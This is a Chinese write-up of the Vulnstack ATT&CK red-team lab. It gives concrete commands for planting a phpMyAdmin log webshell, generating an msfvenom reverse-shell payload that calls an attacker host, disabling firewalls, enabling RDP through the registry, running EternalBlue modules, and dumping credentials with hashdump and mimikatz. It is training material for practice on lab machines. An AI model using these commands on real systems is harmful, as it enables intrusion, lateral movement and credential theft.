红队ATKCK|红日靶场Write-Up(附下载链接)

网络拓扑图

在这里插入图片描述

下载地址

在线下载:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

百度网盘

链接:https://pan.baidu.com/s/1nlAZAuvni3EefAy1SGiA-Q?pwd=h1e5
提取码:h1e5

环境搭建

通过上述图片,web服务器vm1既能用于外界访问,又能保证内网(vm2、vm3)访问,所以准备一张

仅主机网卡,然后将网段配置为:192.168.52.0段(虚拟机内部用的52段)

靶场 密码hongrisec@2019

web服务器(Windows7)

  • NAT模式:192.168.134.135
  • VMnet1:192.168.52.143

域控服务器(Windows server 2008)

  • VMnet1:192.168.52.138

域成员主机(Windows server 2003)

  • VMnet1:192.168.52.141

在这里插入图片描述

安装靶场

VM1 —web服务器(Windows7)

  • NAT模式:192.168.134.135
  • VMnet1:192.168.52.143

VM3—域控服务器(Windows server 2008)

  • VMnet1:192.168.52.138

VM—2域成员主机(Windows server 2003)

  • VMnet1:192.168.52.141

在虚拟机中安装win7、winserver08 、winserver03 同样的步骤,如下图

在这里插入图片描述

win7 要配置两张网卡,一张用于外部访问,一张用于和内网进行通讯

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

win7ping2003

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

信息收集

史上最全的信息收集总结!!!_信息搜集-CSDN博客

信息收集的分类
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)

网站指纹识别(包括,cms,cdn,证书等) dns记录

whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)

子域名收集,旁站,C段等

google hacking针对化搜索,word/电子表格/pdf文件,中间件版本,弱口令扫描等

扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等

传输协议,通用漏洞,exp,github源码

靶机的ip

192.168.52.143

在这里插入图片描述

收集指纹信息

php探针

在这里插入图片描述

Wappalyzer

在这里插入图片描述

whatweb
whatweb [http://192.168.52.143](http://192.168.52.143)

在这里插入图片描述

目录扫描

dirsearch

在这里插入图片描述

结果:

扫出跳转的路径

[http://192.168.52.143/phpmyadmin/](http://192.168.52.143/phpmyadmin/)

进入后台登录页面

在这里插入图片描述

知道使用的phpMyAdmin管理,就去找这个平台的漏洞

phpMyAdmin(mysql)常见的写shell方法及版本漏洞汇总_phpmyadmin漏洞-CSDN博客

御剑(Windows端)

在这里插入图片描述

结果:

扫描到备份文件

在这里插入图片描述

phpinfo()

在这里插入图片描述

存在目录泄露漏洞

在这里插入图片描述

使用burp进行口令爆破

打开burp的代理拦截,打开火狐的本地代理

在这里插入图片描述

在这里插入图片描述

获取到请求

在这里插入图片描述

找到密码位和账号位

在拦截的请求页面,右键点击 send to intruder

在这里插入图片描述

对需要处理的参数(账号,密码)做变量处理

在这里插入图片描述

这里补充一点:

爆破的4种类型(Cluster bomb为最常用):
1、Sniper:对变量进行依次破解,只有一个字典
2、Battering ran:对变量进行同时破解,用户名和密码相同,只有一个字典
3、pitch fork:每个变量将会对应一个字典,用户名和密码一一对应,两个字典
4、Cluster bomb:每个变量将会对应一个字典,并且交集破解尝试每一个组合,每个用户和每个密码进行匹配,两个字典
————————————————

参数做变量之后,页面点击payloads,针对第1、2个变量设置

设置第1个变量

在这里插入图片描述

设置第二个变量

在这里插入图片描述

最后一步,我们就可以点击右上角的“Start attack”了,这样Burpsuite就会自动发送payload构成的多个数据

在这里插入图片描述

可以发现root的组合长度是和其他的不一样,所以账号密码都是root

进入后台服务器数据库管理页面

在这里插入图片描述

进行信息收集

在‘已知开源平台的时候,第一件事一定是去百度该平台的漏洞,然后再去获得该平台的版本,为自己提供渗透思路

这里可以在服务器执行SQL查询,可以通过查询日志来搞一搞日志的一句话木马

在这里插入图片描述

查看关键字段

在这里插入图片描述

这里有一个开源的平台的数据库,可以看看漏洞

在这里插入图片描述

在这里插入图片描述

YxCMS 1.4.7 最新版漏洞分析-CSDN博客

搞到账号和密码的md5

在这里插入图片描述

这里有一个查询窗口,可以SQL注入搞一搞

在这里插入图片描述

查看phpMyAdmin版本
phpMyAdmin是有很多公开漏洞的,如果能知道phpMyAdmin的版本信息,直接在网上搜索相关版本的漏洞即可利用

获取phpmyadmin版本信息方法:

Documetation.html
Documetation.txt
translators.html
readme.php
README
changelog.php
Change
只要在phpmyadmin目录后面添加以上的文件,逐个尝试就可以看到phpmyadmin的相关版本信息了(前提是管理员没有把记录版本信息的文件删除掉)

在这里插入图片描述

开始getshell

第一种,使用查询框来搞一句话木马

因为我们知道探针路径C:\phpStudy\WWW\l.php,所以尝试文件添加木马

在这里插入图片描述

这这里发现做了限制,所以不能通过修改探针来实现一句话木马

在这里插入图片描述

第二种,尝试使用into_outfile读写文件

1.漏洞简介

into outfile 语句用于把表数据导出到一个文本文件中,要想mysql用户对文件进行导入导出,首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT …OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出;

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下;

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

条件1)要有file_priv权限2)知道网站绝对路径3)要能用union4)对web目录有写权限5)没有过滤单引号

在这里插入图片描述

在这里插入图片描述

发现也做了限制

第三种 尝试使用日志的方式写入

条件:

1、全局变量general_log=‘on’

(general_log指的是日志保存状态,off状态,那么日志就没有被记录进去,打开状态不管SQL语句是否正确,都会被记录进去)

general_log_file指的是日志保存路径,可以直接SQL语句修改,但必须是以能解析的一种后缀名,比如PHP,否则小马不会被解析

2、secure_file_priv为空,即secure_file_priv=“”

(设置只能通过设置my.ini来配置)

当secure_file_priv为空,就可以写入磁盘的目录。

当secure file _priv为G:\,就可以写入G盘的文件。

当secure file priv为null,into outfile就不能写入文件。(注意NULL不是我们要的空,NULL和

空的类型不一样))

3、有写的权限

4、知道物理路径这样才能写对目录

首先修改全局变量general_log

在这里插入图片描述

然后进行查询注入

在这里插入图片描述

显示查询成功,那么stu1.php肯定就在之前那个路径下生成了

在这里插入图片描述

生成后门成功

使用蚁剑连接

在这里插入图片描述

在这里插入图片描述

这里看一下cms的源文件

在这里插入图片描述

发现有一个index.php

通过路径访问该页面

在这里插入图片描述

试着找一下这个页面的漏洞

目录扫描

用御剑扫描扫出来的结果

在这里插入图片描述

结果:发现index of 目录索引漏洞

在这里插入图片描述

使用指纹识别wappalyzer

在这里插入图片描述

可以得到中间建信息

使用kali的whatweb

在这里插入图片描述

可以得到

Apache[2.4.23]

Country[RESERVED][ZZ]

Email[8888888@qq.com],

HTML5,

HTTPServer[Windows (32 bit)]

[Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45]

IP[192.168.52.143], JQuery, OpenSSL[1.0.2j]

PHP[5.4.45],

Script[text/javascript]

Title[Yxcms建站系统演示站]

UncommonHeaders[centent-type]

X-Powered-By[PHP/5.4.45]

可以找到一堆相应中间件的漏洞poc

前面通过蚁剑连接后的权限打开终端

在这里插入图片描述

关闭防火墙

netsh advfirewall set allprofile state off
netsh advfirewall show allprofile state

在这里插入图片描述

然后进入kali生成木马

在这里插入图片描述

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.134 LPORT=5555 -a x86 --platform Windows -f exe > shell1.exe

使用蚁剑上传文件

在这里插入图片描述

在这里插入图片描述

关闭防火墙

在这里插入图片描述

进入kali的msf,开启监听模块

在这里插入图片描述

在这里插入图片描述

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.208.134

然后run

在蚁剑里打开木马

在这里插入图片描述

然后获取到materpreter

在这里插入图片描述

进行提权

在这里插入图片描述

进入shell

在这里插入图片描述

开始内网信息收集

判断是否是域控主机

在这里插入图片描述

发现不是

查看ip

在这里插入图片描述

发现域:DNS Suffix Search List. . . . . . : god.org

解析域名ip

在这里插入图片描述

找到dc服务器

在这里插入图片描述

和本机在同一网段里。

这里也能看出处于同一个域

在这里插入图片描述

查询域

net view /domain

在这里插入图片描述

查询域内主机

在这里插入图片描述

目前已经确定到DNS IP

这里补充一下如何确定域控服务器

判断是否是域内主机_如何确定windows机器是否是域控-CSDN博客

了解本机信息后,就要判断当前内网中是否存在域。

查看网关IP地址、DNS的ip地址、域名、本机是否和DNS服务器处于同一网段等信息。

nslookup解析 域名的IP地址,查看是否与DNS服务器在同一IP上。

Windows 判断是否存在域,搜集域内基本信息,查看域控制器_判断win是否在域内命令-CSDN博客

添加路由

获取内网信息

run get_local_subnets

在这里插入图片描述

添加路由

run post/multi/manage/autoroute

在这里插入图片描述

然后就可以扫描内网主机

在这里插入图片描述

138和141是内网存活的主机

扫描内网主机的端口

先代理

在这里插入图片描述

search socks_proxy
vim /etc/proxychains4.conf

在这里插入图片描述

nmap扫描端口

在这里插入图片描述

发现smb445端口

尝试使用永恒之蓝

在这里插入图片描述

通过这两个工具,其中
0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般两者配合使用,前者先扫描,若是显示有漏洞,再进行攻击。

1是远程代码执行攻击

2是远程命令执行攻击
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17-010漏洞。

使用0结果拿不到shell

在这里插入图片描述

使用3也是能探测到漏洞

在这里插入图片描述

尝试使用ms08_067

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放

的SMB服务端口445

use exploit/windows/smb/ms08_067_netapi

在这里插入图片描述

还是拿不到meterpreter

在这里插入图片描述

尝试使用ms17_010_psexec(远程代码执行)

这个要利用管道,但是由于不知道哪些管道可以利用,所以要去做管道的信息收集

扫描管道

use auxiliary/scanner/smb/pipe_auditor

在这里插入图片描述

获取到可用的管道信息

\netlogon, \lsarpc, \samr, \browser, \epmapper, \srvsvc, \trkwks, \wkssvc

使用ms17_010_psexec

use exploit/windows/smb/ms17_010_psexec

在这里插入图片描述

在这里插入图片描述

还是拿不到权限

在这里插入图片描述

所以要换一个主机尝试

ms17_010_command(远程代码执行)

use ms17_010_command

在这里插入图片描述

查询成功,说明可以成功执行远程代码

在这里插入图片描述

关闭防火墙

set COMMAND netsh advfirewall set allprofiles state off

在这里插入图片描述

开启3389端口

启用远程桌面协议:

set COMMAND 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
禁用远程桌面协议:reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 1 /f

在这里插入图片描述

我们要去获取域控的密码

使用hashdump

run post/windows/gather/smart_hashdump

在这里插入图片描述

获取到密文

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

在这里插入图片描述

版本原因看不到,尝试minikataz获取明文密码

在这里插入图片描述

获取到明文密码

在这里插入图片描述

Administrator

hongrisec@2019

开启远程桌面

proxychains4 rdesktop 192.168.52.138:3389

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/686001.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Rust 学习笔记 - Hello world

前言 本文将讲解如何完成一个 Rust 项目的开发流程,从编写 “Hello, World!” 开始,到使用 Cargo 管理和运行项目。 编写 Hello world 开始一个新项目很简单,首先,创建一个包含 main.rs 文件的 hello_world 文件夹,…

基于Doris构建亿级数据实时数据分析系统

转载至我的博客 https://www.infrastack.cn ,公众号:架构成长指南 背景 随着公司业务快速发展,对业务数据进行增长分析的需求越来越迫切,与此同时我们的业务数据量也在快速激增、每天的数据新增量大概在30w 左右,一年…

BUUCTF misc 专题(47)[SWPU2019]神奇的二维码

下载附件,得到一张二维码图片,并用工具扫描(因为图片违规了,所以就不放了哈。工具的话,一般的二维码扫描都可以) swpuctf{flag_is_not_here},(刚开始出了点小差错对不住各位师傅&am…

代码随想录第32天|● 122.买卖股票的最佳时机II ● 55. 跳跃游戏 ● 45.跳跃游戏II

文章目录 买卖股票思路一:贪心代码: 思路:动态规划代码: 跳跃游戏思路:贪心找最大范围代码: 跳跃游戏②思路:代码: 方法二:处理方法一的特殊情况 买卖股票 思路一&#x…

C++类和对象-多态->多态的基本语法、多态的原理剖析、纯虚函数和抽象类、虚析构和纯虚析构

#include<iostream> using namespace std; //多态 //动物类 class Animal { public: //Speak函数就是虚函数 //函数前面加上virtual关键字&#xff0c;变成虚函数&#xff0c;那么编译器在编译的时候就不能确定函数调用了。 virtual void speak() { …

鸿蒙(HarmonyOS)项目方舟框架(ArkUI)之NavRouter组件

鸿蒙&#xff08;HarmonyOS&#xff09;项目方舟框架&#xff08;ArkUI&#xff09;之NavRouter组件 一、操作环境 操作系统: Windows 10 专业版、IDE:DevEco Studio 3.1、SDK:HarmonyOS 3.1 二、NavRouter组件 导航组件&#xff0c;默认提供点击响应处理&#xff0c;不需要…

微信公众号扫码登录

1.设计 我们采用的是个人号登录方式&#xff0c;这样拿不到我们的userInfo用户信息&#xff0c;然后我们将用户发来的消息&#xff08;xml消息体&#xff09;中的FromUser作为我们唯一的openId 整体流程: 1.用户扫码公众号码&#xff0c;然后发一条消息&#xff1a;验证码&…

2.13日学习打卡----初学RocketMQ(四)

2.13日学习打卡 目录&#xff1a; 2.13日学习打卡一.RocketMQ之Java ClassDefaultMQProducer类DefaultMQPushConsumer类Message类MessageExt类 二.RocketMQ 消费幂消费过程幂等消费速度慢的处理方式 三.RocketMQ 集群服务集群特点单master模式多master模式多master多Slave模式-…

C语言希尔排序详解!!!速过

目录 希尔排序是什么&#xff1f; 关于时间复杂度 希尔排序的源代码 希尔排序源代码的详解 希尔排序是什么&#xff1f; 之前我们说了三个排序&#xff08;插入排序&#xff0c;选择排序&#xff0c;冒泡排序&#xff09;有需要的铁铁可以去看看之前的讲解。 但因为之前的…

基于Python的信息加密解密网站设计与实现【源码+论文+演示视频+包运行成功】

博主介绍&#xff1a;✌csdn特邀作者、博客专家、java领域优质创作者、博客之星&#xff0c;擅长Java、微信小程序、Python、Android等技术&#xff0c;专注于Java、Python等技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; …

CSS 圆形的时钟秒针状的手柄绕中心点旋转的效果

<template><!-- 创建一个装载自定义加载动画的容器 --><view class="cloader"><!-- 定义加载动画主体部分 --><view class="clface"><!-- 定义类似秒针形状的小圆盘 --><view class="clsface"><!-…

docker (五)-docker存储-数据持久化

将数据存储在容器中&#xff0c;一旦容器被删除&#xff0c;数据也会被删除。同时也会使容器变得越来越大&#xff0c;不方便恢复和迁移。 将数据存储到容器之外&#xff0c;这样删除容器也不会丢失数据。一旦容器故障&#xff0c;我们可以重新创建一个容器&#xff0c;将数据挂…

Linux常见指令(一)

一、基本指令 1.1ls指令 语法 &#xff1a; ls [ 选项 ][ 目录或文件 ] 功能&#xff1a;对于目录&#xff0c;该命令列出该目录下的所有子目录与文件。对于文件&#xff0c;将列出文件名以及其他信息。 常用选项&#xff1a; -a 列出目录下的所有文件&#xff0c;包括以 .…

github Two-factor authentication (2FA)is required for your GitHub account

问题 github 2FA认证 详细问题 笔者使用GitKraken&#xff0c;使用github登录&#xff0c;github要去 Two-factor authentication (2FA)is required for your GitHub account&#xff0c;即进行2FA认证 解决方案 解决方案一、 微信 → \rightarrow →搜索腾讯身份验证器…

css篇---移动端适配的方案有哪几种

移动端适配 移动端适配是指同一个页面可以在不同的移动端设备上都有合理的布局。主流实现的方案有 响应式布局通过rem或者vw,vh 等实现不同设备有相同的比例而实现适配 首先需要了解viewport 【视口】 视口代表了一个可看见的多边形区域&#xff08;通常来说是矩形&#xff0…

【c++】vector的增删查改

1.先定义一个类对象vector 为了防止和库里面发生冲突&#xff0c;定义一个命名空间&#xff0c;将类对象放在命名空间 里面 #include<iostream> using namespace std; namespace zjw {class vector {public:private:}; }2.定义变量&#xff0c;需要一个迭代器&#xff…

Android---DslTabLayout实现底部导航栏

1. 在 Android 项目中引用 JitPack 库 AGP 8. 根目录的 settings.gradle dependencyResolutionManagement {...repositories {...maven { url https://jitpack.io }} } AGP 8. 根目录如果是 settings.gradle.kts 文件 dependencyResolutionManagement {...repositories {...…

单片机学习笔记---LED呼吸灯直流电机调速

目录 LED呼吸灯 直流电机调速 模型结构 波形 定时器初始化函数 中断函数 主程序 上一节讲了电机的工作原理&#xff0c;这一节开始代码演示&#xff01; 我们上一篇说Ton的时间长Toff时间短电机会快&#xff0c;Ton的时间短Toff时间长电机会慢 并且我们还要保证无论Ton和…

element-UI 组件 dialog 中 ref 获取不到元素

项目场景&#xff1a; vue3集成bpmn.js 渲染过程中&#xff0c;进行流程图查看 问题描述 dialog弹窗加载获取canvas中 加载不到&#xff0c;导致偶尔流程展示加载失败 原因分析&#xff1a; 提示&#xff1a;官方解释如下&#xff0c;主要就是获取的时候&#xff0c;组件没有…

qml之Control类型布局讲解,padding属性和Inset属性细讲

1、Control布局图 2、如何理解&#xff1f; *padding和*Inset参数如何理解呢&#xff1f; //main.qml import QtQuick 2.0 import QtQuick.Controls 2.12 import QtQuick.Layouts 1.12 import QtQuick.Controls 1.4 import QtQml 2.12ApplicationWindow {id: windowvisible: …